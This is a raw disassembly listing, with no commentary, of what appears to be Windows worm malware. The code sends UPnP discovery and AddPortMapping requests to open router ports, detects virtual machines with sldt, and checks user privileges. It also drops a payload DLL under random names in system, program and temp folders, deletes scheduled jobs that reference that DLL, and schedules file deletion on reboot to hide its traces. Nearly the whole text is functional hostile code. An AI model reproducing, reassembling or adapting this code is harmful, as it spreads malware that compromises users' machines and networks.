; char aPostSHttp1_1Ho[]
aPostSHttp1_1Ho	db 'POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_9B596E+51o
		db 'Host: %s%s',0Dh,0Ah
		db 'User-Agent: POSIX, UPnP/1.0',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 'Content-Type: text/xml',0Dh,0Ah
		db 'SOAPAction: "%s"',0Dh,0Ah
		db 'Connection: Close',0Dh,0Ah
		db 'Cache-Control: no-cache',0Dh,0Ah
		db 'Pragma: no-cache',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
; char aHu[]
aHu		db ':%hu',0             ; DATA XREF: sub_9B596E+2Do
		align 10h
aContentLength	db 'content-length',0   ; DATA XREF: sub_9B5A5F+5o
		align 10h
; char aMSearchHttp1_1[]
aMSearchHttp1_1	db 'M-SEARCH * HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_9B611D+103o
		db 'HOST: 239.255.255.250:1900',0Dh,0Ah
		db 'ST: %s',0Dh,0Ah
		db 'MAN: "ssdp:discover"',0Dh,0Ah
		db 'MX: 3',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
off_9A6D1C	dd offset aUrnSchemasUp_0 ; DATA XREF: sub_9B611D+E8o
					; "urn:schemas-upnp-org:device:InternetGat"...
		dd offset aUrnSchemasUp_1 ; "urn:schemas-upnp-org:service:WANIPConne"...
		dd offset aUrnSchemasUp_2 ; "urn:schemas-upnp-org:service:WANPPPConn"...
		dd offset aUpnpRootdevice ; "upnp:rootdevice"
		align 10h
aUpnpRootdevice	db 'upnp:rootdevice',0  ; DATA XREF: .text:009A6D28o
aUrnSchemasUp_0	db 'urn:schemas-upnp-org:device:InternetGatewayDevice:1',0
					; DATA XREF: .text:off_9A6D1Co
aSt		db 'st',0               ; DATA XREF: sub_9B5AC7+6Co
		align 4
aLocation	db 'location',0         ; DATA XREF: sub_9B5AC7+47o
		align 4
; char aConnected[]
aConnected	db 'Connected',0        ; DATA XREF: sub_9B5D65+2Bo
		align 10h
; char aSBodySEnvelope[]
aSBodySEnvelope	db '></s:Body></s:Envelope>',0Dh,0Ah,0 ; DATA XREF: sub_9B5E93+102o
		align 10h
; char a?xmlVersion1_1[]
a?xmlVersion1_1	db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_9B5E93+5Eo
		db '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s'
		db ':encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Bod'
		db 'y><m:%s xmlns:m="%s">',0
		align 10h
; char a?xmlVersion1_0[]
a?xmlVersion1_0	db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_9B5E93+45o
		db '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s'
		db ':encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Bod'
		db 'y><m:%s xmlns:m="%s"></m:%s></s:Body></s:Envelope>',0Dh,0Ah,0
		align 10h
; char aSS[]
aSS		db '%s#%s',0            ; DATA XREF: sub_9B5E93+23o
		align 4
; char cp[]
cp		db '239.255.255.250',0  ; DATA XREF: sub_9B611D+7Fo
; char aErrorcode[]
aErrorcode	db 'errorCode',0        ; DATA XREF: sub_9B644D+105o
					; sub_9B658C+99o ...
		align 4
; char aNewlastconnect[]
aNewlastconnect	db 'NewLastConnectionError',0 ; DATA XREF: sub_9B644D+86o
		align 4
; char aNewconnections[]
aNewconnections	db 'NewConnectionStatus',0 ; DATA XREF: sub_9B644D+75o
; char aNewuptime[]
aNewuptime	db 'NewUptime',0        ; DATA XREF: sub_9B644D+64o
		align 4
aGetstatusinfo	db 'GetStatusInfo',0    ; DATA XREF: sub_9B644D+3Co
		align 4
; char aNewexternalipa[]
aNewexternalipa	db 'NewExternalIPAddress',0 ; DATA XREF: sub_9B658C+6Do
		align 4
aGetexternalipa	db 'GetExternalIPAddress',0 ; DATA XREF: sub_9B658C+45o
		align 4
; char aNewleasedurati[]
aNewleasedurati	db 'NewLeaseDuration',0 ; DATA XREF: sub_9B6663+BBo
					; sub_9B686F+196o
		align 10h
aAddportmapping	db 'AddPortMapping',0   ; DATA XREF: sub_9B6663+B3o
		align 10h
; char aNewportmapping[]
aNewportmapping	db 'NewPortMappingDescription',0 ; DATA XREF: sub_9B6663+96o
					; sub_9B686F+16Fo
		align 4
; char aNewenabled[]
aNewenabled	db 'NewEnabled',0       ; DATA XREF: sub_9B6663+88o
					; sub_9B686F+148o
		align 4
; char aNewinternalcli[]
aNewinternalcli	db 'NewInternalClient',0 ; DATA XREF: sub_9B6663+81o
					; sub_9B686F+FFo ...
		align 4
; char aNewinternalpor[]
aNewinternalpor	db 'NewInternalPort',0  ; DATA XREF: sub_9B6663+7Ao
					; sub_9B686F+125o ...
; char aNewprotocol[]
aNewprotocol	db 'NewProtocol',0      ; DATA XREF: sub_9B6663+70o
					; sub_9B679A+62o ...
; char aNewexternalpor[]
aNewexternalpor	db 'NewExternalPort',0  ; DATA XREF: sub_9B6663+66o
					; sub_9B679A+56o ...
; char aNewremotehost[]
aNewremotehost	db 'NewRemoteHost',0    ; DATA XREF: sub_9B6663+60o
					; sub_9B679A+4Do ...
		align 4
aDeleteportmapp	db 'DeletePortMapping',0 ; DATA XREF: sub_9B679A+45o
		align 4
aNewportmappi_0	db 'NewPortMappingIndex',0 ; DATA XREF: sub_9B686F+5Ao
aGetgenericport	db 'GetGenericPortMappingEntry',0 ; DATA XREF: sub_9B686F+4Co
		align 4
aGetspecificpor	db 'GetSpecificPortMappingEntry',0 ; DATA XREF: sub_9B6A70+5Do
		dd 89ABCDEFh, 1234567h,	2425CFA0h, 7311C281h
; ---------------------------------------------------------------------------


loc_9A70D8:				; DATA XREF: sub_9B7937+B6o
		mov	al, ds:812425CFh
		retn	7311h
; ---------------------------------------------------------------------------
		dd 34AAC8E7h, 64322864h, 0EF68B7C1h, 0B60450E9h, 8D9F06F1h
		dd 0E8FB2390h, 0A691E5BFh, 0DD2E76CBh, 2C30BC41h, 0CD0D63Bh
		dd 23058F8Ah, 1F8CCF68h, 88E3775Dh, 54E5ED5Bh, 0A6D6031h
		dd 4AD12AAEh, 88222E0Dh, 3E7F16BBh, 3FB50C2Ch, 8AF8671Dh
		dd 8BD25C31h, 995AD117h, 4C4B633h, 0C878C1DDh, 7A1552ACh
		dd 3B72066Ch, 631EFFCBh, 0D6F3522h
byte_9A7150	db 30h			; DATA XREF: sub_9B7CA3+38r
					; sub_9B7CA3+4Br
a123456789abcde	db '123456789abcdef',0
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_9A7170	proc near		; CODE XREF: StartAddress:loc_9A77D0p

VersionInformation= _OSVERSIONINFOA ptr	-0A0h
var_C		= word ptr -0Ch
Data		= byte ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 0A0h
		push	ebx
		push	esi
		push	edi
		push	26h
		pop	ecx
		xor	eax, eax
		mov	[ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch
		lea	edi, [ebp+78h+VersionInformation.dwMajorVersion]
		rep stosd
		lea	eax, [ebp+78h+VersionInformation]
		push	eax		; lpVersionInformation
		mov	dword ptr [ebp+78h+Data], 0Ah
		call	GetVersionExA
		cmp	[ebp+78h+VersionInformation.dwMajorVersion], 5
		jnz	short loc_9A71FC
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 0
		jz	short loc_9A71B9
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 1
		jnz	short loc_9A71FC
		cmp	[ebp+78h+var_C], 2
		jnb	short loc_9A71FC


loc_9A71B9:				; CODE XREF: sub_9A7170+3Aj
		lea	eax, [ebp+78h+Data]
		push	eax		; lpData
		mov	ebx, offset dword_9A1484
		push	ebx		; lpValueName
		mov	edi, offset dword_9A1450
		push	edi		; lpSubKey
		mov	esi, 80000002h
		push	esi		; int
		call	sub_9AD112
		add	esp, 10h
		test	eax, eax
		jnz	short loc_9A71E4
		mov	dword ptr [ebp+78h+Data], 0FFFFFEh
		jmp	short loc_9A721A
; ---------------------------------------------------------------------------


loc_9A71E4:				; CODE XREF: sub_9A7170+69j
		mov	eax, 0FFFFFEh
		cmp	dword ptr [ebp+78h+Data], eax
		jz	short loc_9A721A
		push	eax		; Data
		push	ebx		; lpValueName
		push	edi		; lpSubKey
		push	esi		; hKey
		call	sub_9AD0F4
		add	esp, 10h
		jmp	short loc_9A721A
; ---------------------------------------------------------------------------


loc_9A71FC:				; CODE XREF: sub_9A7170+34j
					; sub_9A7170+40j ...
		push	1		; int
		push	offset Name	; lpName
		call	sub_9AC5D7
		pop	ecx
		pop	ecx
		call	sub_9A812E
		test	eax, eax
		jz	short loc_9A721A
		mov	dword ptr [ebp+78h+Data], 10000000h


loc_9A721A:				; CODE XREF: sub_9A7170+72j
					; sub_9A7170+7Cj ...
		mov	eax, dword ptr [ebp+78h+Data]
		pop	edi
		pop	esi
		mov	dword_9BAE64, eax
		pop	ebx
		add	ebp, 78h
		leave
		retn
sub_9A7170	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A722A	proc near		; CODE XREF: StartAddress+25p
					; StartAddress+92p ...

Str1		= byte ptr -208h
Str		= byte ptr -104h
var_103		= byte ptr -103h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		push	ebx
		push	esi
		push	edi
		push	40h
		xor	eax, eax
		pop	ecx
		xor	ebx, ebx
		mov	[ebp+Str], bl
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+Str]
		push	eax		; Str
		mov	esi, offset FileName ; "c:\\c.dll"
		push	esi		; Source
		call	sub_9AD279
		pop	ecx
		pop	ecx
		push	104h		; uSize
		lea	eax, [ebp+Str1]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA
		push	3		; MaxCount
		lea	eax, [ebp+Str]
		push	eax		; Str
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	_strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9A72C0
		push	esi		; Str
		call	strlen
		cmp	eax, 4
		pop	ecx
		jbe	short loc_9A72BB
		push	offset dword_9A1498 ; Str2
		push	esi		; Str
		call	strlen
		sub	esi, 4
		pop	ecx
		add	eax, esi
		push	eax		; Str1
		call	_stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A72C3


loc_9A72BB:				; CODE XREF: sub_9A722A+71j
		or	ebx, 0FFFFFFFFh
		jmp	short loc_9A72C3
; ---------------------------------------------------------------------------


loc_9A72C0:				; CODE XREF: sub_9A722A+65j
		push	0FFFFFFFEh
		pop	ebx


loc_9A72C3:				; CODE XREF: sub_9A722A+8Fj
					; sub_9A722A+94j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_9A722A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A72CA	proc near		; CODE XREF: sub_9A798D+118p

pSid1		= dword	ptr -28h
var_24		= dword	ptr -24h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY	ptr -20h
var_18		= dword	ptr -18h
hObject		= dword	ptr -14h
var_10		= dword	ptr -10h
ReturnLength	= dword	ptr -0Ch
pSid2		= dword	ptr -8
pSid		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		lea	eax, [ebp+hObject]
		push	eax		; TokenHandle
		xor	ebx, ebx
		push	8		; DesiredAccess
		mov	[ebp+var_18], ebx
		call	GetCurrentProcess
		push	eax		; ProcessHandle
		call	OpenProcessToken
		test	eax, eax
		jz	loc_9A740A
		push	esi
		mov	esi, GetTokenInformation
		lea	eax, [ebp+ReturnLength]
		push	eax		; ReturnLength
		push	ebx		; TokenInformationLength
		push	ebx		; TokenInformation
		push	2		; TokenInformationClass
		push	[ebp+hObject]	; TokenHandle
		call	esi ; GetTokenInformation
		test	eax, eax
		jnz	loc_9A7400
		call	GetLastError
		cmp	eax, 7Ah
		jnz	loc_9A7400
		push	edi
		push	[ebp+ReturnLength] ; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_9A73FF
		lea	eax, [ebp+ReturnLength]
		push	eax		; ReturnLength
		push	[ebp+ReturnLength] ; TokenInformationLength
		push	edi		; TokenInformation
		push	2		; TokenInformationClass
		push	[ebp+hObject]	; TokenHandle
		call	esi ; GetTokenInformation
		test	eax, eax
		jz	loc_9A73F8
		mov	esi, AllocateAndInitializeSid
		lea	eax, [ebp+pSid2]
		push	eax		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		push	4		; nSubAuthority0
		push	1		; nSubAuthorityCount
		lea	eax, [ebp+pIdentifierAuthority]
		push	eax		; pIdentifierAuthority
		mov	[ebp+pSid2], ebx
		mov	[ebp+pSid], ebx
		mov	[ebp+pIdentifierAuthority.Value], bl
		mov	[ebp+pIdentifierAuthority.Value+1], bl
		mov	[ebp+pIdentifierAuthority.Value+2], bl
		mov	[ebp+pIdentifierAuthority.Value+3], bl
		mov	[ebp+pIdentifierAuthority.Value+4], bl
		mov	[ebp+pIdentifierAuthority.Value+5], 5
		call	esi ; AllocateAndInitializeSid
		lea	eax, [ebp+pSid]
		push	eax		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		push	6		; nSubAuthority0
		push	1		; nSubAuthorityCount
		lea	eax, [ebp+pIdentifierAuthority]
		push	eax		; pIdentifierAuthority
		call	esi ; AllocateAndInitializeSid
		cmp	[edi], ebx
		mov	[ebp+var_18], 1
		mov	[ebp+var_10], ebx
		jbe	short loc_9A73DE
		lea	esi, [edi+4]


loc_9A73A3:				; CODE XREF: sub_9A72CA+10Dj
		mov	eax, [esi]
		push	[ebp+pSid2]	; pSid2
		mov	ecx, [esi+4]
		push	eax		; pSid1
		mov	[ebp+pSid1], eax
		mov	[ebp+var_24], ecx
		call	EqualSid
		test	eax, eax
		jnz	short loc_9A73DB
		push	[ebp+pSid]	; pSid2
		push	[ebp+pSid1]	; pSid1
		call	EqualSid
		test	eax, eax
		jnz	short loc_9A73DE
		inc	[ebp+var_10]
		mov	eax, [ebp+var_10]
		add	esi, 8
		cmp	eax, [edi]
		jb	short loc_9A73A3
		jmp	short loc_9A73DE
; ---------------------------------------------------------------------------


loc_9A73DB:				; CODE XREF: sub_9A72CA+F0j
		mov	[ebp+var_18], ebx


loc_9A73DE:				; CODE XREF: sub_9A72CA+D4j
					; sub_9A72CA+100j ...
		cmp	[ebp+pSid], ebx
		mov	esi, FreeSid
		jz	short loc_9A73EE
		push	[ebp+pSid]	; pSid
		call	esi ; FreeSid


loc_9A73EE:				; CODE XREF: sub_9A72CA+11Dj
		cmp	[ebp+pSid2], ebx
		jz	short loc_9A73F8
		push	[ebp+pSid2]	; pSid
		call	esi ; FreeSid


loc_9A73F8:				; CODE XREF: sub_9A72CA+79j
					; sub_9A72CA+127j
		push	edi		; hMem
		call	GlobalFree


loc_9A73FF:				; CODE XREF: sub_9A72CA+62j
		pop	edi


loc_9A7400:				; CODE XREF: sub_9A72CA+3Dj
					; sub_9A72CA+4Cj
		push	[ebp+hObject]	; hObject
		call	CloseHandle
		pop	esi


loc_9A740A:				; CODE XREF: sub_9A72CA+21j
		mov	eax, [ebp+var_18]
		pop	ebx
		leave
		retn
sub_9A72CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A7410	proc near		; CODE XREF: sub_9A798D+17Bp

First		= byte ptr -114h
TotalEntries	= dword	ptr -10h
var_C		= dword	ptr -0Ch
EntriesRead	= dword	ptr -8
Buffer		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	esi
		xor	esi, esi
		push	esi		; ResumeHandle
		lea	eax, [ebp+TotalEntries]
		push	eax		; TotalEntries
		lea	eax, [ebp+EntriesRead]
		push	eax		; EntriesRead
		push	0FFFFFFFFh	; PrefferedMaximumLength
		lea	eax, [ebp+Buffer]
		push	eax		; PointerToBuffer
		push	esi		; Servername
		mov	[ebp+EntriesRead], esi
		mov	[ebp+Buffer], esi
		call	NetScheduleJobEnum
		cmp	[ebp+EntriesRead], esi
		mov	[ebp+var_C], esi
		jbe	loc_9A74D1
		push	ebx
		push	edi
		xor	ebx, ebx


loc_9A7447:				; CODE XREF: sub_9A7410+B9j
		push	esi		; lpUsedDefaultChar
		push	esi		; lpDefaultChar
		push	104h		; cbMultiByte
		lea	eax, [ebp+First]
		push	eax		; lpMultiByteStr
		mov	eax, [ebp+Buffer]
		push	0FFFFFFFFh	; cchWideChar
		push	dword ptr [ebx+eax+10h]	; lpWideCharStr
		push	esi		; dwFlags
		push	esi		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9A74BD
		push	5Ch		; Ch
		push	offset FileName	; "c:\\c.dll"
		call	strrchr
		mov	edi, eax
		cmp	edi, esi
		pop	ecx
		pop	ecx
		jnz	short loc_9A7486
		mov	edi, offset FileName ; "c:\\c.dll"
		jmp	short loc_9A7487
; ---------------------------------------------------------------------------


loc_9A7486:				; CODE XREF: sub_9A7410+6Dj
		inc	edi


loc_9A7487:				; CODE XREF: sub_9A7410+74j
		push	offset Srch	; lpSrch
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	StrStrIA
		test	eax, eax
		jz	short loc_9A74BD
		push	edi		; lpSrch
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	StrStrIA
		test	eax, eax
		jz	short loc_9A74BD
		mov	eax, [ebp+Buffer]
		mov	eax, [ebx+eax]
		push	eax		; MaxJobId
		push	eax		; MinJobId
		push	esi		; Servername
		call	NetScheduleJobDel


loc_9A74BD:				; CODE XREF: sub_9A7410+58j
					; sub_9A7410+8Bj ...
		inc	[ebp+var_C]
		mov	eax, [ebp+var_C]
		add	ebx, 14h
		cmp	eax, [ebp+EntriesRead]
		jb	loc_9A7447
		pop	edi
		pop	ebx


loc_9A74D1:				; CODE XREF: sub_9A7410+2Dj
		cmp	[ebp+Buffer], esi
		pop	esi
		jz	short locret_9A74DF
		push	[ebp+Buffer]	; Buffer
		call	NetApiBufferFree

locret_9A74DF:				; CODE XREF: sub_9A7410+C5j
		leave
		retn
sub_9A7410	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A74E1	proc near		; CODE XREF: sub_9A798D+13Bp
		push	esi
		push	edi
		push	offset dword_9A14C0 ; lpSrch
		xor	edi, edi
		call	sub_9ACF3E
		test	eax, eax
		pop	ecx
		mov	esi, offset FileName ; "c:\\c.dll"
		jz	short loc_9A7506
		push	esi		; lpBuffer
		push	eax		; dwProcessId
		call	sub_9ACC9F
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A7522


loc_9A7506:				; CODE XREF: sub_9A74E1+16j
		push	offset dword_9A14B0 ; Str2
		call	sub_9ACC1F
		test	eax, eax
		pop	ecx
		jz	short loc_9A7525
		push	esi		; lpBuffer
		push	eax		; dwProcessId
		call	sub_9ACC9F
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A7525


loc_9A7522:				; CODE XREF: sub_9A74E1+23j
		xor	edi, edi
		inc	edi


loc_9A7525:				; CODE XREF: sub_9A74E1+32j
					; sub_9A74E1+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_9A74E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A752A	proc near		; CODE XREF: sub_9A7670+6Ep
					; sub_9A7670+C7p ...

NewFileName	= byte ptr -120h
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
hMem		= dword	ptr -0Ch
nNumberOfBytesToWrite= dword ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		mov	eax, dword_9BAF74
		push	ebx
		push	esi
		xor	eax, 45419005h
		push	edi
		push	eax		; Seed
		call	srand
		call	rand
		push	4
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+var_1C]
		add	edx, 5
		push	edx
		push	eax
		call	sub_9AC642
		call	sub_9AC50B
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		mov	edi, 104h
		push	offset aF	; "”"
		lea	eax, [ebp+NewFileName]
		push	edi		; Count
		push	eax		; Dest
		call	_snprintf
		lea	eax, [ebp+NewFileName]
		push	1F01FFh		; int
		xor	ebx, ebx
		push	eax		; lpFileName
		mov	[ebp+var_1D], bl
		call	sub_9AD15E
		add	esp, 28h
		cmp	[ebp+arg_4], 0FFFFFFFFh
		mov	[ebp+var_4], ebx
		mov	esi, offset FileName ; "c:\\c.dll"
		jnz	short loc_9A75C6
		lea	eax, [ebp+NewFileName]
		push	eax		; lpNewFileName
		push	esi		; lpExistingFileName
		call	MoveFileA
		test	eax, eax
		jz	short loc_9A75C6
		mov	[ebp+var_4], 1
		jmp	short loc_9A7621
; ---------------------------------------------------------------------------


loc_9A75C6:				; CODE XREF: sub_9A752A+7Fj
					; sub_9A752A+91j
		lea	eax, [ebp+nNumberOfBytesToWrite]
		push	esi		; lpFileName
		push	eax		; int
		mov	[ebp+nNumberOfBytesToWrite], ebx
		call	sub_9AC769
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+hMem], eax
		jz	loc_9A7668
		cmp	[ebp+nNumberOfBytesToWrite], ebx
		jz	short loc_9A7613
		lea	ecx, [ebp+NewFileName]
		push	ecx		; lpFileName
		push	[ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
		push	eax		; lpBuffer
		call	sub_9AC7F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9A7613
		cmp	[ebp+arg_4], 0FFFFFFFFh
		mov	[ebp+var_4], 1
		jnz	short loc_9A7613
		push	4		; dwFlags
		push	ebx		; lpNewFileName
		push	esi		; lpExistingFileName
		call	MoveFileExA


loc_9A7613:				; CODE XREF: sub_9A752A+B9j
					; sub_9A752A+D0j ...
		push	[ebp+hMem]	; hMem
		call	GlobalFree
		cmp	[ebp+var_4], ebx
		jz	short loc_9A7668


loc_9A7621:				; CODE XREF: sub_9A752A+9Aj
		lea	eax, [ebp+NewFileName]
		push	eax		; lpFileName
		call	sub_9AC6A4
		lea	eax, [ebp+NewFileName]
		push	eax		; lpMultiByteStr
		call	sub_9AE850
		push	edi		; Count
		lea	eax, [ebp+NewFileName]
		push	eax		; Source
		push	esi		; Dest
		call	strncpy
		add	esp, 14h
		mov	byte_9BAF6B, bl
		call	GetVersion
		cmp	al, 6
		jb	short loc_9A7668
		push	ebx		; int
		push	offset CommandLine ; lpCommandLine
		call	sub_9AD3A7
		pop	ecx
		pop	ecx


loc_9A7668:				; CODE XREF: sub_9A752A+B0j
					; sub_9A752A+F5j ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A752A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A7670	proc near		; CODE XREF: StartAddress+31p

Buffer		= byte ptr -104h
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		sldt	ax
		xor	ebx, ebx
		cmp	ax, bx
		jz	short loc_9A76C1
		cmp	[ebp+arg_0], 0FFFFFFFEh
		mov	esi, offset FileName ; "c:\\c.dll"
		jz	short loc_9A76B4
		push	1F01FFh		; int
		push	esi		; lpFileName
		call	sub_9AD15E
		pop	ecx
		pop	ecx
		push	4		; dwFlags
		push	ebx		; lpNewFileName
		push	esi		; lpExistingFileName
		call	MoveFileExA


loc_9A76A7:				; CODE XREF: sub_9A7670+4Fj
		cmp	[ebp+arg_0], 0FFFFFFFEh
		jz	short loc_9A76B4
		push	esi		; lpFileName
		call	DeleteFileA


loc_9A76B4:				; CODE XREF: sub_9A7670+1Ej
					; sub_9A7670+3Bj
		push	1388h		; dwMilliseconds
		call	Sleep
		jmp	short loc_9A76A7
; ---------------------------------------------------------------------------


loc_9A76C1:				; CODE XREF: sub_9A7670+13j
		mov	esi, 104h
		push	esi		; uSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA
		push	[ebp+arg_0]
		lea	eax, [ebp+Buffer]
		push	eax
		call	sub_9A752A
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_9A7785
		push	edi
		mov	edi, SHGetSpecialFolderPathA
		push	ebx		; fCreate
		push	26h		; csidl
		lea	eax, [ebp+Buffer]
		push	eax		; pszPath
		push	ebx		; hwnd
		call	edi ; SHGetSpecialFolderPathA
		call	rand
		cdq
		push	2
		pop	ecx
		idiv	ecx
		mov	eax, offset Source
		test	edx, edx
		jnz	short loc_9A771B
		mov	eax, offset dword_9A1530


loc_9A771B:				; CODE XREF: sub_9A7670+A4j
		push	esi		; Count
		push	eax		; Source
		lea	eax, [ebp+Buffer]
		push	eax		; Dest
		call	strncat
		push	[ebp+arg_0]
		lea	eax, [ebp+Buffer]
		push	eax
		mov	[ebp+var_1], bl
		call	sub_9A752A
		add	esp, 14h
		test	eax, eax
		jnz	short loc_9A7784
		push	ebx		; fCreate
		push	1Ah		; csidl
		lea	eax, [ebp+Buffer]
		push	eax		; pszPath
		push	ebx		; hwnd
		call	edi ; SHGetSpecialFolderPathA
		push	[ebp+arg_0]
		lea	eax, [ebp+Buffer]
		push	eax
		call	sub_9A752A
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A7784
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	esi		; nBufferLength
		call	GetTempPathA
		push	[ebp+arg_0]
		lea	eax, [ebp+Buffer]
		push	eax
		call	sub_9A752A
		pop	ecx
		pop	ecx


loc_9A7784:				; CODE XREF: sub_9A7670+D1j
					; sub_9A7670+F3j
		pop	edi


loc_9A7785:				; CODE XREF: sub_9A7670+77j
		pop	esi
		pop	ebx
		leave
		retn
sub_9A7670	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

; DWORD	__stdcall StartAddress(LPVOID)

StartAddress	proc near		; DATA XREF: sub_9A798D+1FFo

var_1AC		= dword	ptr -1ACh
dwFlags		= dword	ptr -198h
var_194		= dword	ptr -194h
WSAData		= WSAData ptr -190h

		sub	esp, 198h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	8003h		; uMode
		call	SetErrorMode
		call	sub_9AC50B
		push	offset CriticalSection ; lpCriticalSection
		call	sub_9A8B47
		pop	ecx
		call	sub_9A722A
		xor	esi, esi
		cmp	eax, esi
		jge	short loc_9A77C0
		push	eax
		call	sub_9A7670
		pop	ecx


loc_9A77C0:				; CODE XREF: StartAddress+2Ej
		sldt	ax
		cmp	ax, si
		jz	short loc_9A77D0
		push	0FFFFFFFFh	; dwMilliseconds
		call	Sleep


loc_9A77D0:				; CODE XREF: StartAddress+3Dj
		call	sub_9A7170
		call	GetVersion
		cmp	ax, 5
		jnz	short loc_9A7803
		call	sub_9AB59B
		lea	eax, [esp+1A8h+dwFlags]
		push	eax		; lpThreadId
		push	esi		; dwCreationFlags
		push	esi		; lpParameter
		push	offset sub_9A90F2 ; lpStartAddress
		push	esi		; dwStackSize
		push	esi		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle
		jmp	short loc_9A7808
; ---------------------------------------------------------------------------


loc_9A7803:				; CODE XREF: StartAddress+56j
		call	sub_9AB567


loc_9A7808:				; CODE XREF: StartAddress+78j
		push	offset dword_9BAF78
		call	sub_9A91E7
		pop	ecx
		mov	[esp+1A8h+dwFlags], esi
		mov	[esp+1A8h+var_194], esi
		call	sub_9A722A
		cmp	eax, 0FFFFFFFEh
		mov	edi, offset FileName ; "c:\\c.dll"
		jz	short loc_9A7837
		push	120089h		; int
		push	edi		; lpFileName
		call	sub_9AD15E
		pop	ecx
		pop	ecx


loc_9A7837:				; CODE XREF: StartAddress+9Fj
		push	edi		; lpFileName
		push	offset nNumberOfBytesToWrite ; int
		call	sub_9AC769
		cmp	eax, esi
		pop	ecx
		pop	ecx
		mov	lpBuffer, eax
		jz	short loc_9A787E
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		movzx	edx, word ptr [ecx+6]
		lea	edx, [edx+edx*4]
		lea	edx, [ecx+edx*8+0F8h]
		mov	ecx, [edx-18h]
		add	ecx, [edx-14h]
		mov	edx, nNumberOfBytesToWrite
		cmp	edx, ecx
		jbe	short loc_9A7886
		add	eax, ecx
		sub	edx, ecx
		mov	[esp+1A8h+dwFlags], eax
		mov	[esp+1A8h+var_194], edx
		jmp	short loc_9A7886
; ---------------------------------------------------------------------------


loc_9A787E:				; CODE XREF: StartAddress+C2j
		push	0FFFFFFFFh	; dwMilliseconds
		call	Sleep


loc_9A7886:				; CODE XREF: StartAddress+E5j
					; StartAddress+F3j
		mov	ebx, CreateFileA
		push	esi		; hTemplateFile
		push	esi		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	esi		; lpSecurityAttributes
		push	2		; dwShareMode
		mov	ebp, 80000000h
		push	ebp		; dwDesiredAccess
		push	edi		; lpFileName
		call	ebx ; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_9A78B7
		xor	eax, eax
		push	eax		; hTemplateFile
		push	eax		; dwFlagsAndAttributes
